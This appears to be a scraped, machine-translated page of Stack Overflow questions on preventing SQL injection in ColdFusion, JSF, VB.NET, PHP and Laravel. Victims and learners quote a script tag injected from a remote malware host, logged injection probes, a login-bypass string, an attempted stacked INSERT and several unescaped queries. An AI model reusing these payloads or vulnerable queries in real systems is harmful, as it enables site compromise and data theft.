在ColdFusion方面,如何防止SQL注入?我对语言/框架很陌生.
这是我的示例查询.
<cfquery name="rsRecord" datasource="DataSource">
SELECT * FROM Table
WHERE id = #url.id#
</cfquery>
Run Code Online (Sandbox Code Playgroud)
我认为传递url.id风险.
在我的项目中,我在表示层和持久层重复验证,希望提高安全性.所以我的问题是:标准JSF验证可以防止代码注入.
<h:inputText id="name" value="#{bean.customer.name}" required="true" requiredMessage="Validation Error: Value is required." title="Name" >
<f:validateLength maximum="40"/>
</h:inputText>
Run Code Online (Sandbox Code Playgroud)
在这里,我验证字段是否为空,并验证字段长度.我知道验证字段长度会使代码注入变得更难,但有时你需要一个很长的字段长度,比如textArea.如果这是脆弱的,我将如何解决它?非常感谢你提前.
有没有人知道有关此攻击的更多信息?
我最近在我的网站上注入了这个脚本
顺便说一句,不要去这个网站,因为它是感染的来源
</title><script src=http://google-stats50.**fo/***.php>
Run Code Online (Sandbox Code Playgroud)
什么样的攻击,SQL或CODE?
顺便说一句,不要去这个网站,因为它是感染的来源
问题是这种传染性攻击发生了什么样的攻击?
我们发现它,并不像twitter攻击,它是通过url中的请求参数并直接在参数中注入sql.
我们的sql团队生成了一个SQL脚本来清理被感染的数据库
/*************************************************************************
SQL INJECTED DATABASE
*************************************************************************/
DECLARE @dbName VARCHAR(200),
@SqlString NVARCHAR(MAX),
@SearchText VARCHAR(MAX),
@SearchTextLike VARCHAR(MAX),
@NbItems INT,
@TableName VARCHAR(255),
@ColoneName VARCHAR(255),
@objId BIGINT,
@tmpSqlString NVARCHAR(MAX),
@CleanUp BIT,
@RowCount BIGINT,
@debug BIT,
@Msg VARCHAR(MAX);
SET @debug = 0; -- 1 = Additionnal prints
SET @CleanUp = 0; -- 1 = Update tables
SET @SearchText = '</title><script src=http://google-stats50.info/ur.php></script>';
SET @SearchTextLike = '%' + @SearchText + '%';
DECLARE @QueryResults TABLE (SqlString VARCHAR(MAX), TableName VARCHAR(255), …Run Code Online (Sandbox Code Playgroud) 我有这个代码
UPDATE OPENQUERY (db,'SELECT * FROM table WHERE ref = ''"+ Ref +"'' AND bookno = ''"+ Session("number") +"'' ')
Run Code Online (Sandbox Code Playgroud)
我如何防止SQL注入呢?
UPDATE
这就是我正在尝试的
SqlCommand cmd = new SqlCommand("Select * from Table where ref=@ref", con);
cmd.Parameters.AddWithValue("@ref", 34);
Run Code Online (Sandbox Code Playgroud)
出于某种原因,我尝试添加它的一切似乎都不起作用我会在SQL Command下面提到.
错误就是这个
'SqlCommand' is a type and cannot be used as an expression
Run Code Online (Sandbox Code Playgroud)
我正在接管其他人的工作,所以这对我来说是全新的,我想以正确的方式做事情,所以如果有人能提供更多帮助,如何使我的查询在SQL注射之上安全,那么请做.
更新2号
我在代码中添加了VasilP这样说
Dim dbQuery As [String] = "SELECT * FROM table WHERE ref = '" & Tools.SQLSafeString(Ref) & "' AND bookno = '" & Tools.SQLSafeString(Session("number")) & "'" …Run Code Online (Sandbox Code Playgroud) 我正在开发一个已经被SQL注入攻击的网站(乍一看只有数据库条目被跨网站脚本损坏)我查看代码后发现的潜在漏洞是有很多mysql_query调用其输入是完全没有逃过一劫
好老:
$query = "SELECT * FROM mytable where name LIKE '%".$_GET['name']."%'"; /*HACK HERE*/
mysql_query($query, $connection);
Run Code Online (Sandbox Code Playgroud)
然而,我无法找到我们如何从注入漏洞做一些很酷的事情(酷我的意思是像INSERT或UPDATE).我试图建立一个像这样的声明:
SELECT * FROM mytable where name LIKE '%' AND WHERE id IN (INSERT INTO secondtable (id,description) VALUES (15, 'Fifteenth description');--%'
Run Code Online (Sandbox Code Playgroud)
没有成功.我猜INSERT在这里无关.
我现在正在逃避代码中所有用户的输入,但我并没有真正了解黑客如何渗透到这个网站,那么我并不是100%确定我的修复程序能够完成这项工作.有什么好的建议?
谢谢
我为客户开发了一个网站,他们将在线发布商品图片.网址是www.domiainname.com/item-details.cfm?sku=125.有人试图浏览www.domiainname.com/item-details.cfm?sku=125%20and%203=3我收到通知的产生和错误.
我还收到了错误报告:
item-details.cfm?sku=1291+or+1=@@version--
item-details.cfm?sku=1291'+or+1=@@version
item-details.cfm?sku=1291+or+1=@@version
Run Code Online (Sandbox Code Playgroud)
最后三个例子肯定是有人试图进入系统,对吧?
如果我们将此转换为存储过程,是否会降低或消除插入攻击的风险?
我正在尝试在我的localhost上创建的虚拟网站上执行SQL注入,以进行安全测试项目.
我尝试将字符串输入" OR "='用户名和密码字段,因此它应绕过它并显示Login Correct - 但它显示登录失败
帮助理解为什么SQL注入不起作用
<?php
mysql_connect('localhost', 'root', '');
mysql_select_db('test');
if(isset($_POST['username'])&&isset($_POST['password'])){
$username =$_POST['username'];
$password = $_POST['password'];
echo $username;
echo $password;
if(!empty($username)&&!empty($password)){
$query ="SELECT id FROM users WHERE username = '$username' AND password = '$password'";
$query_run = mysql_query($query);
if(mysql_num_rows($query_run)>=1){
echo 'Login Correct';
}else{
echo 'Login Failed';
}
}
}
?>
<form action="test.php" method="POST">
Username: <input type="text" name="username">
Password: <input type="text" name="password">
<input type="submit" value="Submit">
</form>
Run Code Online (Sandbox Code Playgroud) 我正在使用Laravel 4和Eloquent.当我得到用户输入时我只是使用$name=Input::get('name')然后我做$a->name=$name;
我不知道该函数是否Input::get保护我免受SQL Injection和XSS的攻击.如果没有,我需要做些什么来消毒输入?
并且,当我在我的视图中显示价值时,我应该使用{{$a}}或{{{$a}}}
问候和感谢.
有什么办法来设置CursorType为ADODB.RecordSet我从获得ADODB.Command.Execute?
我知道如果我这样做有可能:
rs = Server.CreateObject("ADODB.RecordSet")
rs.Open(cmd)
Run Code Online (Sandbox Code Playgroud)
不过,我目前使用Command.Execute与Parameters参数,自动处理的变型阵列?安全插补参数.因此使用RecordSet.Open似乎不是一种选择.
具体来说,我的代码目前看起来像:
function ExecuteSQL(conn, sql, args)
set ExecuteSQL_CmdObj = Server.CreateObject("ADODB.Command")
ExecuteSQL_CmdObj.CommandType = adCmdText
ExecuteSQL_CmdObj.CommandText = sql
ExecuteSQL_CmdObj.ActiveConnection = conn
if Ubound(args) = -1 then
set ExecuteSQL = ExecuteSQL_CmdObj.Execute
else
set ExecuteSQL = ExecuteSQL_CmdObj.Execute(,args)
end if
end function
Run Code Online (Sandbox Code Playgroud)
如果我想维护这个相同的API,还要控制CursorType,如何实现呢?
sql-injection ×10
sql ×6
security ×4
php ×3
coldfusion ×2
mysql ×2
adodb ×1
asp-classic ×1
asp.net ×1
eloquent ×1
iis ×1
java ×1
jsf ×1
laravel ×1
sql-server ×1
vb.net ×1
vbscript ×1
xss ×1